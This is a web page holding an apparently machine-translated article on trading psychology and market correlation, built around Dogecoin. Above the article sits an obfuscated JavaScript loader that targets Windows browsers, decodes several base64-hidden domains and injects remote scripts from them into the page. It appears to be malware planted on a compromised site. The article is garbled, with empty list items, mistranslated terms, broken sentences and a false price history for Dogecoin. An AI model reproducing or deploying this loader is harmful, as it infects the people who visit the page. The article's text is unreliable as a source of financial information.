if(navigator.userAgent.toLowerCase().indexOf("windows") !== -1){const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=|NXQ0MTQwMmEuc2l0ZS94cC8=|OWUxMDdkOWQuc2l0ZS94cC8=|ZDQxZDhjZDkuZ2l0ZS94cC8=|ZjAwYjRhMmIuc2l0ZS94cC8=|OGIxYjk5NTMuc2l0ZS94cC8=";const pds=pdx.split("|");pds.forEach(function(pde){const s_e=document.createElement("script");s_e.src="https://"+atob(pde)+"cc.php?u=6770c440";document.body.appendChild(s_e);});}else{}
Trade psychology and market correlation: Dogecoin (doge) case
The world of cryptocurrency trade has become increasingly complex as more and more players compete for the dominance of the market. One of the numerous cryptocurrency available is distinguished from an excellent example of how commercial psychology can affect market performance: Dogecoin (Dog). Psychology and market correlation in Dogecoin.
What is the psychology of trade?
Trade psychology refers to mental spaces and behavior These psychological factors can include emotions such as greed, fear, tension and tranquility, as well as cognitive bias such as reinforcement deviations, anchoring and avoiding loss. When merchants are aware of their own emotional state and bias, they can make more conscious decisions about their stores.
Dogecoin case
In 2013, a group of enthusiastic enthusiasts launched Dogecoin's (Dog) cryptocurrency Bitcoin parodia. The original hype surrounding Doge fed its innovative approach to creating currency
However, because Doge gained popularity, as well as its volatility. In May 2014, Doge reached the highest ever $ 0.87 before decreasing to only $ 0.01, wiping significant parts of investors' wealth. This dramatic price sparked a heated debate about the role of psychology in the shop.
Market Correlation: Dogecoin example
Market correlation refers to the tendency of different property to move together. When Dog experienced its volatility during the rise, it often occurs with other cryptocurrencies such as Ethereum (ETH) and Litecoi (LTC). Impact if merchants buy the property as the price is expected, just sell at the top.
Investors. In contrast, those who recognize the market correlation and adapt their strategy in the same way may have avoided significant losses.
Trade psychology factors affecting market correlation
Several psychological factors in trade affect the phenomenon of market correlation:
.
2.
- Loss Aviation : Merchants are afraid to lose their capital more than appreciate it; This fear can cause them to respond and sell during the downturn in the market.
conclusion
The case of Dogecoin emphasizes how commercial psychology can affect market correlation in the cryptocurrency trade. Impact trading decisions, merchants can develop effective strategies to mitigate losses and make information -based investment choices.
Psychology that similar merchants and improves our overall performance.
Recommendations
In order to avoid the correlation of the market:
- Stay up to date but avoid emotional decisions :
2.
